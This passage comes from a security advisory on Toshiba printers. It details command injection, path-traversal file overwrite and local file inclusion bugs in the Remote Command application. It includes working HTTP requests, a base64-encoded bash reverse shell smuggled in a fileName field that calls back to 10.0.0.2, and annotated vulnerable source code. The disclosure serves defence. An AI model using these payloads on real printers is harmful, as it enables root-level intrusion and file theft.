Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3

{"file":"UEsDBAoAAAAAAEMyilbGNbk7BQAAAAUAAAAIABwAdGVzdC50eHRVVAkAA13iM2Tu/TNkdXgLAAEE6AMAAAToAwAAdGVzdApQSwECHgMKAAAAAABDMopWxjW5OwUAAAAFAAAACAAYAAAAAAABAAAAgIEAAAAAdGVzdC50eHRVVAUAA13iM2R1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAARwAAAAAA","fileName":"test-exec.zip$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMi84MCAwPiYxCg==|base64 -d|bash)"}
</code></pre>
<p>The malicious payload is generated using base64 to remove bad characters. It is a standard connect-back shell, connecting to 10.0.0.2 to port 80 over TCP:</p>
<pre><code>kali% echo 'bash -i &gt;&amp; /dev/tcp/10.0.0.2/80 0&gt;&amp;1' | base64 -w0;echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMi84MCAwPiYxCg==
</code></pre>
<p>The resulting command is executed on the printer:</p>
<pre><code>root     13040  0.0  0.1  13260  2344 ?        S    18:50   0:00 sh -c chmod 666 /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal//remotecommand//test-exec.zip$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMi84MCAwPiYxCg==|base64 -d|bash)
</code></pre>
<p>And we can confirm the command was executed from Python, from the parent processus alappmanager:</p>
<pre>
bash-4.1# pstree
init-+-MemoryCaptureSt---MemoryCapture---sleep
     |-aleSCL
     |-alhp9100---21*[{alhp9100}]
     |-2*[alipp---2*[{alipp}]]
     |-allld2d
     |-alllmnr
     |-allprng---21*[{allprng}]
     |-alnetefiRemotei
     |-alstage2-+-alstage2
     |          `-23*[{alstage2}]
     |-alusbPrint---2*[{alusbPrint}]
     |-alwsdiscovery
     |-alwsmex
     |-alwsprint---{alwsprint}
     |-alwsscanner---3*[{alwsscanner}]
     |-bash---pspy32---9*[{pspy32}]
     |-cissm-+-alAddressBookMg
     |       |-alCloning
     |       |-alExportImport
     |       |-alLogRetriever
     |       |-alLogmanager---{alLogmanager}
     |       |-alPanelStartLED---{alPanelStartLE}
     |       |-alPanelUIMessag---{alPanelUIMessa}
     |       |-alServiceUIPlug
     |       |-alUiFrameWork---21*[{alUiFrameWork}]
     |       |-alViewPlugin---3*[{alViewPlugin}]
     |       |-alaccountmgr---2*[{alaccountmgr}]
<font color=red>     |       |-alappmanager-+-python-+-sh---sh---bash---bash---pstree</font>
     |       |              |        `-5*[{python}]
     |       |              |-python---5*[{python}]
     |       |              `-15*[{alappmanager}]
[...]
</pre>

<p>The vulnerable code is located in the <code>/application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views/command.py</code> Python script, with sources on lines 34 and 59:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  <span style="color: #666666">1</span> <span style="color: #408080; font-style: italic">#!/usr/bin/env python</span>
  <span style="color: #666666">2</span> <span style="color: #408080; font-style: italic"># -*- coding: utf-8 -*-</span>
  <span style="color: #666666">3</span> <span style="color: #408080; font-style: italic"># Copyright(c) 2021 Toshiba Tec Corporation, All Rights Reserved.</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">23</span> <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">CommandView</span>(View):
 <span style="color: #666666">24</span>
 <span style="color: #666666">25</span>     <span style="color: #AA22FF">@view_config</span>(route_name<span style="color: #666666">=</span>View<span style="color: #666666">.</span>BASE_ROUTE_NAME <span style="color: #666666">+</span> <span style="color: #BA2121">&#39;upload_command_file&#39;</span>, request_method<span style="color: #666666">=</span><span style="color: #BA2121">&#39;POST&#39;</span>, renderer<span style="color: #666666">=</span><span style="color: #BA2121">&#39;json&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>)
 <span style="color: #666666">26</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">upload_command_file</span>(<span style="color: #008000">self</span>):
 <span style="color: #666666">27</span>         Logger<span style="color: #666666">.</span>i(<span style="color: #BA2121">&quot;start upload command file to appstorage&quot;</span>)
[<span style="color: #666666">...</span>]
 <span style="color: #666666">30</span>             storage_rootpath <span style="color: #666666">=</span> FileHandler<span style="color: #666666">.</span>getStorageRootPath(storage_type<span style="color: #666666">=</span><span style="color: #BA2121">&quot;normal&quot;</span>)
[<span style="color: #666666">...</span>]
 <span style="color: #666666">33</span>             <span style="color: #408080; font-style: italic"># configure file path that specified using File API</span>
 <span style="color: #666666">34</span>             payloads <span style="color: #666666">=</span> <span style="color: #008000">self</span><span style="color: #666666">.</span>request<span style="color: #666666">.</span>json_body                    [<span style="color: #666666">1</span>] get value <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">the</span> <span style="color: #0000FF; font-weight: bold">attacker</span>
 <span style="color: #666666">35</span>             Logger<span style="color: #666666">.</span>i(<span style="color: #BA2121">&quot;request body: &quot;</span> <span style="color: #666666">+</span> <span style="color: #008000">str</span>(payloads))
[<span style="color: #666666">...</span>]
 <span style="color: #666666">59</span>             commandRunner <span style="color: #666666">=</span> CommandThread(payloads[<span style="color: #BA2121">&quot;fileName&quot;</span>])  [<span style="color: #666666">2</span>] execute a commands <span style="color: #008000; font-weight: bold">with</span> the name controlled by the attacker
 <span style="color: #666666">60</span>             commandthread <span style="color: #666666">=</span> eapi<span style="color: #666666">.</span>apps<span style="color: #666666">.</span>AppThread<span style="color: #666666">.</span>create(commandRunner)
 <span style="color: #666666">61</span>             commandthread<span style="color: #666666">.</span>start()
</pre></div>

<p>The <code>CommandThread</code> class is implemented in <code>/application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/worker/commandthread.py</code> and is a wrapper to <code>remoteCommandObj.execute()</code> where we can find the sink:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">33</span>             file_path <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;/command/&#39;</span> <span style="color: #666666">+</span> <span style="color: #008000">str</span>(<span style="color: #008000">self</span><span style="color: #666666">.</span>commandName)
 <span style="color: #666666">34</span> 
 <span style="color: #666666">35</span>             remoteCommandObj <span style="color: #666666">=</span> eapi<span style="color: #666666">.</span>apps<span style="color: #666666">.</span>RemoteCommand<span style="color: #666666">.</span>create()
 <span style="color: #666666">36</span>             result <span style="color: #666666">=</span> remoteCommandObj<span style="color: #666666">.</span>execute(eapi<span style="color: #666666">.</span>apps<span style="color: #666666">.</span>AppStorageType<span style="color: #666666">.</span>AppStorageType_Normal, file_path, eapi<span style="color: #666666">.</span>apps<span style="color: #666666">.</span>RemoteCommandUser<span style="color: #666666">.</span>RemoteCommandUser_Admin, <span style="color: #008000">True</span>, result_dir_path)
 <span style="color: #666666">37</span>             <span style="color: #408080; font-style: italic"># Logger.w(str(result))</span>
 <span style="color: #666666">38</span> 
 <span style="color: #666666">39</span>             res_status <span style="color: #666666">=</span> result<span style="color: #666666">.</span>getStatus()
 <span style="color: #666666">40</span>             ExcecutionStatus<span style="color: #666666">.</span>STATUS <span style="color: #666666">=</span> <span style="color: #008000">str</span>(res_status)
 <span style="color: #666666">41</span>             Logger<span style="color: #666666">.</span>w(<span style="color: #BA2121">&quot;command status: &quot;</span> <span style="color: #666666">+</span> ExcecutionStatus<span style="color: #666666">.</span>STATUS)
 <span style="color: #666666">42</span>             command_type <span style="color: #666666">=</span> result<span style="color: #666666">.</span>getType()
 <span style="color: #666666">43</span>             ExcecutionStatus<span style="color: #666666">.</span>COMMANDTYPE <span style="color: #666666">=</span> command_type <span style="color: #666666">=</span> <span style="color: #008000">str</span>(command_type)
 <span style="color: #666666">44</span>             Logger<span style="color: #666666">.</span>w(<span style="color: #BA2121">&quot;command type: &quot;</span> <span style="color: #666666">+</span> ExcecutionStatus<span style="color: #666666">.</span>COMMANDTYPE)
 <span style="color: #666666">45</span>             ExcecutionStatus<span style="color: #666666">.</span>RESULTFILENAME <span style="color: #666666">=</span> result<span style="color: #666666">.</span>getFileName()<span style="color: #666666">.</span>split(<span style="color: #BA2121">&#39;/&#39;</span>)[<span style="color: #666666">-1</span>]
</pre></div>

<p>A remote attacker can get Remote Code Execution as root.</p>
<p><a id="rce-insecure-upload-01"></a></p>
<h2>Details - Remote Code Execution - insecure upload</h2>
<p>It was observed that the Remote Command program allows an attacker to get Remote Code Execution by overwriting existing files (e.g. Python files containing executable code). </p>
<p>The Remote Command application allows uploading documents (as zip files) using the <code>/aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/upload_command_file</code> API. When sending a zip file with the filename <code>../</code>, it is possible to overwrite any file within the directory of the Python application.</p>
<p>By default, when uploading a file through the web interface of the Remote Command application, the file will be copied into 3 different directories:</p>
<ul>
<li><code>/work/al/tmp/remotecommand/</code></li>
<li><code>/application/app/10000000-0000-0000-0000-500000000000/appstorage/normal/command/</code></li>
<li><code>/application/app/10000000-0000-0000-0000-500000000000/appstorage/normal/remotecommand/</code></li>
</ul>
<p>The <code>/application/app/10000000-0000-0000-0000-500000000000/</code> directory corresponds to the Remote Command application which is installed by default.</p>
<p>This <code>/application/app/10000000-0000-0000-0000-500000000000/</code> directory has several directories containing Python scripts:</p>
<pre><code>bash-4.1# pwd
/application/app/10000000-0000-0000-0000-500000000000
bash-4.1# ls -la
total 24
drwx--x--- 6 apache trusted 4096 Apr 10 18:40 .
drwxr-xr-x 4 root   root    4096 Mar 15 11:50 ..
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 appjob
drwx--x--- 4 apache trusted 4096 Mar 15 11:49 appstorage
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 config
drwx--x--- 7 apache trusted 4096 Mar 15 11:50 package
bash-4.1#
</code></pre>
<p>An attacker uploading a zip file with a filename containing <code>../../</code> will be able to overwrite any file in <code>/application/app/10000000-0000-0000-0000-500000000000</code> and in subdirectories of <code>/application/app/10000000-0000-0000-0000-500000000000</code>:</p>
<p>Malicious HTTP request sent to the Remote Command application: </p>
<pre><code>POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/upload_command_file HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest 
Content-Length: 278
Origin: http://10.0.0.1:8080 
Connection: close
Referer: http://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3

{"file":"UEsDBAoAAAAAAEMyilbGNbk7BQAAAAUAAAAIABwAdGVzdC50eHRVVAkAA13iM2Tu/TNkdXgLAAEE6AMAAAToAwAAdGVzdApQSwECHgMKAAAAAABDMopWxjW5OwUAAAAFAAAACAAYAAAAAAABAAAAgIEAAAAAdGVzdC50eHRVVAUAA13iM2R1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAARwAAAAAA","fileName":"../../../test-get-cmd.zip"}
</code></pre>
<p>The resulting file is now located in <code>/application/app/10000000-0000-0000-0000-500000000000</code>:</p>
<pre><code>bash-4.1# ls -la /application/app/10000000-0000-0000-0000-500000000000
total 28
drwx--x--- 6 apache trusted 4096 Apr 10 18:41 .
drwxr-xr-x 4 root   root    4096 Mar 15 11:50 ..
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 appjob
drwx--x--- 4 apache trusted 4096 Mar 15 11:49 appstorage
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 config
drwx--x--- 7 apache trusted 4096 Mar 15 11:50 package
-rw-rw-rw- 1 apache trusted  171 Apr 10 18:41 test-get-cmd.zip
bash-4.1#
</code></pre>
<p>An attacker can overwrite any Python file in the Remote Execution application (in <code>/application/app/10000000-0000-0000-0000-500000000000</code>) to get Remote Code Execution.</p>
<p>The vulnerable code is located in the <code>/application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views/command.py</code> Python script:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  <span style="color: #666666">1</span> <span style="color: #408080; font-style: italic">#!/usr/bin/env python</span>
  <span style="color: #666666">2</span> <span style="color: #408080; font-style: italic"># -*- coding: utf-8 -*-</span>
  <span style="color: #666666">3</span> <span style="color: #408080; font-style: italic"># Copyright(c) 2021 Toshiba Tec Corporation, All Rights Reserved.</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">23</span> <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">CommandView</span>(View):
 <span style="color: #666666">24</span>
 <span style="color: #666666">25</span>     <span style="color: #AA22FF">@view_config</span>(route_name<span style="color: #666666">=</span>View<span style="color: #666666">.</span>BASE_ROUTE_NAME <span style="color: #666666">+</span> <span style="color: #BA2121">&#39;upload_command_file&#39;</span>, request_method<span style="color: #666666">=</span><span style="color: #BA2121">&#39;POST&#39;</span>, renderer<span style="color: #666666">=</span><span style="color: #BA2121">&#39;json&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">True</span>)
 <span style="color: #666666">26</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">upload_command_file</span>(<span style="color: #008000">self</span>):
 <span style="color: #666666">27</span>         Logger<span style="color: #666666">.</span>i(<span style="color: #BA2121">&quot;start upload command file to appstorage&quot;</span>)
[<span style="color: #666666">...</span>]
 <span style="color: #666666">30</span>             storage_rootpath <span style="color: #666666">=</span> FileHandler<span style="color: #666666">.</span>getStorageRootPath(storage_type<span style="color: #666666">=</span><span style="color: #BA2121">&quot;normal&quot;</span>)
[<span style="color: #666666">...</span>]
 <span style="color: #666666">33</span>             <span style="color: #408080; font-style: italic"># configure file path that specified using File API</span>
 <span style="color: #666666">34</span>             payloads <span style="color: #666666">=</span> <span style="color: #008000">self</span><span style="color: #666666">.</span>request<span style="color: #666666">.</span>json_body                                         [<span style="color: #666666">1</span>] get value <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">the</span> <span style="color: #0000FF; font-weight: bold">attacker</span>
 <span style="color: #666666">35</span>             Logger<span style="color: #666666">.</span>i(<span style="color: #BA2121">&quot;request body: &quot;</span> <span style="color: #666666">+</span> <span style="color: #008000">str</span>(payloads))
[<span style="color: #666666">...</span>]
 <span style="color: #666666">55</span>             command_path <span style="color: #666666">=</span> storage_rootpath <span style="color: #666666">+</span> <span style="color: #BA2121">&#39;/command/&#39;</span> <span style="color: #666666">+</span> <span style="color: #008000">str</span>(payloads[<span style="color: #BA2121">&quot;fileName&quot;</span>]) [<span style="color: #666666">2</span>] generate a path controlled by the attacker
 <span style="color: #666666">56</span>             <span style="color: #008000; font-weight: bold">with</span> <span style="color: #008000">open</span>(command_path<span style="color: #666666">.</span>encode(<span style="color: #BA2121">&#39;utf-8&#39;</span>), mode<span style="color: #666666">=</span><span style="color: #BA2121">&#39;wb&#39;</span>) <span style="color: #008000; font-weight: bold">as</span> _file:              [<span style="color: #666666">3</span>] <span style="color: #008000">open</span> this path
 <span style="color: #666666">57</span>                 _file<span style="color: #666666">.</span>write(binary_data)                                              [<span style="color: #666666">4</span>] write content to the path
[<span style="color: #666666">...</span>]
</pre></div>

<p>The vulnerable source code can be seen to:</p>
<ul>
<li>get value from the attacker on line 34</li>
<li>generate a path based on the value provided by the attacker on line 55</li>
<li>open this path on line 56</li>
<li>write content to the path on line 57</li>
</ul>
<p>A remote attacker can overwrite any Python file in the Remote Execution application (in <code>/application/app/10000000-0000-0000-0000-500000000000</code>) to get Remote Code Execution.</p>
<p><a id="rce-insecure-upload-02"></a></p>
<h2>Details - Remote Code Execution - insecure upload</h2>
<p>It was observed that the Remote Command program allows an attacker to get Remote Code Execution.</p>
<p>The Remote Command application allows uploading documents (as zip files) using the <code>/aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/get_command_info</code> API. When sending a zip file with the filename <code>../</code>, it is possible to overwrite any file within the directory of the Python application.</p>
<p>Malicious HTTP request sent to the Remote Command application: </p>
<pre><code>POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/get_command_info HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 269
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3

{"file":"UEsDBAoAAAAAAEMyilbGNbk7BQAAAAUAAAAIABwAdGVzdC50eHRVVAkAA13iM2Tu/TNkdXgLAAEE6AMAAAToAwAAdGVzdApQSwECHgMKAAAAAABDMopWxjW5OwUAAAAFAAAACAAYAAAAAAABAAAAgIEAAAAAdGVzdC50eHRVVAUAA13iM2R1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAARwAAAAAA","fileName":"test-get-cmd.zip"}
</code></pre>
<p>Such file will be stored inside <code>/application/app/10000000-0000-0000-0000-500000000000/appstorage/normal/command_info/test-get-cmd.zip</code>. Using <code>../</code> will allow an attacker to store the resulting file in an attacker-controlled path, overwriting Python scripts, for example.</p>
<p>The vulnerable code is located in the <code>/application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views/command.py</code> Python script. The <code>fileName</code> value is controlled by the attacker on line 142:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  <span style="color: #666666">1</span> <span style="color: #408080; font-style: italic">#!/usr/bin/env python</span>
  <span style="color: #666666">2</span> <span style="color: #408080; font-style: italic"># -*- coding: utf-8 -*-</span>
  <span style="color: #666666">3</span> <span style="color: #408080; font-style: italic"># Copyright(c) 2021 Toshiba Tec Corporation, All Rights Reserved.</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">113</span>     <span style="color: #AA22FF">@view_config</span>(route_name<span style="color: #666666">=</span>View<span style="color: #666666">.</span>BASE_ROUTE_NAME <span style="color: #666666">+</span> <span style="color: #BA2121">&#39;get_command_info&#39;</span>, request_method<span style="color: #666666">=</span><span style="color: #BA2121">&#39;POST&#39;</span>)
<span style="color: #666666">114</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">get_command_info</span>(<span style="color: #008000">self</span>):
[<span style="color: #666666">...</span>]
<span style="color: #666666">127</span>             payloads <span style="color: #666666">=</span> <span style="color: #008000">self</span><span style="color: #666666">.</span>request<span style="color: #666666">.</span>json_body
[<span style="color: #666666">...</span>]
<span style="color: #666666">131</span>             storage_rootpath <span style="color: #666666">=</span> FileHandler<span style="color: #666666">.</span>getStorageRootPath(storage_type<span style="color: #666666">=</span><span style="color: #BA2121">&quot;normal&quot;</span>)
[<span style="color: #666666">...</span>]
<span style="color: #666666">141</span>             binary_data <span style="color: #666666">=</span> base64<span style="color: #666666">.</span>b64decode(payloads[<span style="color: #BA2121">&#39;file&#39;</span>]<span style="color: #666666">.</span>encode())
<span style="color: #666666">142</span>             command_path <span style="color: #666666">=</span> storage_rootpath <span style="color: #666666">+</span> <span style="color: #BA2121">&#39;/command_info/&#39;</span> <span style="color: #666666">+</span> <span style="color: #008000">str</span>(payloads[<span style="color: #BA2121">&quot;fileName&quot;</span>]) [<span style="color: #666666">1</span>] <span style="color: #008000">open</span> a <span style="color: #008000">file</span> <span style="color: #008000; font-weight: bold">with</span> the path controlled by the attacker
<span style="color: #666666">143</span>             <span style="color: #008000; font-weight: bold">with</span> <span style="color: #008000">open</span>(command_path<span style="color: #666666">.</span>encode(<span style="color: #BA2121">&#39;utf-8&#39;</span>), mode<span style="color: #666666">=</span><span style="color: #BA2121">&#39;wb&#39;</span>) <span style="color: #008000; font-weight: bold">as</span> _file:
<span style="color: #666666">144</span>                 _file<span style="color: #666666">.</span>write(binary_data)
[<span style="color: #666666">...</span>]
</pre></div>

<p>A remote attacker can overwrite any Python file in the Remote Execution application (in <code>/application/app/10000000-0000-0000-0000-500000000000</code>) to get Remote Code Execution.</p>
<p><a id="lfi"></a></p>
<h2>Details - Local File Inclusion</h2>
<p>It was observed that the Remote Command program allows an attacker to read any file using a Local File Inclusion vulnerability.</p>
<p>The Remote Command application allows retrieving files. Such code is implemented inside the <code>resultstorage</code> API.</p>
<p>The vulnerable code is located in the <code>/application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views/resultstorage.py</code> Python script. The <code>filename</code> value is controlled by the attacker on line 21:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>[<span style="color: #666666">...</span>]
 <span style="color: #666666">16</span> <span style="color: #AA22FF">@view_config</span>(route_name<span style="color: #666666">=</span>View<span style="color: #666666">.</span>BASE_ROUTE_NAME <span style="color: #666666">+</span> <span style="color: #BA2121">&#39;resultstorage&#39;</span>)
 <span style="color: #666666">17</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">resultGetStorageFileLink</span>(request):
 <span style="color: #666666">18</span>     <span style="color: #008000; font-weight: bold">try</span>:
 <span style="color: #666666">19</span>         Logger<span style="color: #666666">.</span>w(<span style="color: #008000">str</span>(request))
 <span style="color: #666666">20</span>         payloads <span style="color: #666666">=</span> request<span style="color: #666666">.</span>GET
 <span style="color: #666666">21</span>         filename <span style="color: #666666">=</span> payloads[<span style="color: #BA2121">&quot;filename&quot;</span>]
 <span style="color: #666666">22</span>         Logger<span style="color: #666666">.</span>w(filename)
 <span style="color: #666666">23</span>         rootpath <span style="color: #666666">=</span> FileHandler<span style="color: #666666">.</span>getStorageRootPath(<span style="color: #BA2121">&quot;normal&quot;</span>)
 <span style="color: #666666">24</span>
 <span style="color: #666666">25</span>         path <span style="color: #666666">=</span> glob<span style="color: #666666">.</span>glob(rootpath <span style="color: #666666">+</span> <span style="color: #BA2121">&#39;/*/&#39;</span> <span style="color: #666666">+</span> filename)
 <span style="color: #666666">26</span>         Logger<span style="color: #666666">.</span>w(<span style="color: #008000">str</span>(path))
 <span style="color: #666666">27</span>         res <span style="color: #666666">=</span> FileResponse(path[<span style="color: #666666">0</span>])
 <span style="color: #666666">28</span>         res<span style="color: #666666">.</span>content_type <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;application/zip&#39;</span>
 <span style="color: #666666">29</span>         res<span style="color: #666666">.</span>content_disposition <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;attachment; filename=&#39;</span><span style="color: #666666">+</span>filename
 <span style="color: #666666">30</span>         <span style="color: #008000; font-weight: bold">return</span> res
[<span style="color: #666666">...</span>]
</pre></div>

<p>The filename variable is provided by an attacker in the address (<code>?filename=/path/to/file</code>). This file will be opened and its content will be sent to the attacker, due to the use of <code>FileResponse()</code>, implemented in Pyramid.</p>
<p>An attacker can read any file on the printer.</p>
<p><a id="rce-insecure-upload-03"></a></p>
<h2>Details - Remote Code Execution - insecure upload</h2>
<p>It is possible to overwrite any file when installing a new application in Administration &gt; Application &gt; Application List &gt; Install Application:</p>
<p><img alt="" src="images/2024-toshiba-application-install-01.png" /></p>
<p><img alt="" src="images/2024-toshiba-application-install-02.png" /></p>
<p>When installing an application, several requests will be sent to the printer:</p>
<ol>
<li>the first request is a HTTP POST to <code>/tapy/server/appmgmt/uploadPackage</code>,</li>
<li>then a HTTP POST is sent to <code>/tapy/server/appmgmt/extractPackage</code>.</li>
</ol>
<p>The vulnerability can be found when the first HTTP POST is sent (to <code>/tapy/server/appmgmt/uploadPackage</code>).</p>
<p><img alt="" src="images/2024-toshiba-application-install-rce.png" /></p>
<p>The <code>/uploadPackage</code> route is defined in the <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/__init__.py</code> file to call the <code>upload_package</code> function:</p>
<p>Content of <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/__init__.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>[<span style="color: #666666">...</span>]
 <span style="color: #666666">11</span>   config<span style="color: #666666">.</span>add_route(<span style="color: #BA2121">&#39;upload_package&#39;</span>, <span style="color: #BA2121">&#39;uploadPackage&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">False</span>)
[<span style="color: #666666">...</span>]
</pre></div>

<p>The implementation of the view is done in the <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py</code> file:</p>
<p>3 important variables are set:</p>
<ul>
<li><code>SessionID</code> on line 179, retrieved from the cookie,</li>
<li><code>packagename</code> on line 188 retrieved from the POST-data,</li>
<li><code>package_file</code> on line 189 retrieved from the POST-data.</li>
</ul>
<p>Content of <code>/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">170</span> <span style="color: #AA22FF">@view_config</span>(route_name<span style="color: #666666">=</span><span style="color: #BA2121">&#39;upload_package&#39;</span>, xhr<span style="color: #666666">=</span><span style="color: #008000">False</span>, renderer<span style="color: #666666">=</span><span style="color: #BA2121">&#39;string&#39;</span>)
<span style="color: #666666">171</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">upload_package</span>(request):
<span style="color: #666666">172</span>     log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;++++++++++++++++++++++++++++++++&quot;</span>)
<span style="color: #666666">173</span>     log<span style="color: #666666">.</span>warning(<span style="color: #BA2121">&quot;upload_package : Start &quot;</span>)
<span style="color: #666666">174</span>     SessionID <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;&#39;</span>
<span style="color: #666666">175</span>     session <span style="color: #666666">=</span> <span style="color: #BA2121">&#39; &#39;</span>
<span style="color: #666666">176</span>     csrfpId <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;&#39;</span>
<span style="color: #666666">177</span>
<span style="color: #666666">178</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #BA2121">&#39;SessionID&#39;</span> <span style="color: #AA22FF; font-weight: bold">in</span> request<span style="color: #666666">.</span>cookies:
<span style="color: #666666">179</span>         SessionID <span style="color: #666666">=</span> request<span style="color: #666666">.</span>cookies[<span style="color: #BA2121">&#39;SessionID&#39;</span>] <span style="color: #666666">&lt;---------------</span> SessionID <span style="color: #AA22FF; font-weight: bold">is</span> retrieved <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">the</span> <span style="color: #0000FF; font-weight: bold">cookie</span>
<span style="color: #666666">180</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #BA2121">&#39;Session&#39;</span> <span style="color: #AA22FF; font-weight: bold">in</span> request<span style="color: #666666">.</span>cookies:
<span style="color: #666666">181</span>         session <span style="color: #666666">=</span> request<span style="color: #666666">.</span>cookies[<span style="color: #BA2121">&#39;Session&#39;</span>]
<span style="color: #666666">182</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #BA2121">&#39;txtCSRFPID&#39;</span> <span style="color: #AA22FF; font-weight: bold">in</span> request<span style="color: #666666">.</span>POST:
<span style="color: #666666">183</span>         csrfpId <span style="color: #666666">=</span> request<span style="color: #666666">.</span>POST[<span style="color: #BA2121">&#39;txtCSRFPID&#39;</span>]
<span style="color: #666666">184</span>
<span style="color: #666666">185</span>     log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&#39;Session ID obtained from request :&#39;</span> <span style="color: #666666">+</span> SessionID)
<span style="color: #666666">186</span>     log<span style="color: #666666">.</span>info(<span style="color: #BA2121">&#39;csrfpId obtained from request:&#39;</span> <span style="color: #666666">+</span> csrfpId)
<span style="color: #666666">187</span>
<span style="color: #666666">188</span>     packagename <span style="color: #666666">=</span> request<span style="color: #666666">.</span>POST[<span style="color: #BA2121">&#39;txtSelectedFileName&#39;</span>] <span style="color: #666666">&lt;----------</span> packagename <span style="color: #AA22FF; font-weight: bold">is</span> retrieved <span style="color: #008000; font-weight: bold">from</span> <span style="color: #0000FF; font-weight: bold">the</span> <span style="color: #0000FF; font-weight: bold">POST</span><span style="color: #666666">-</span>data
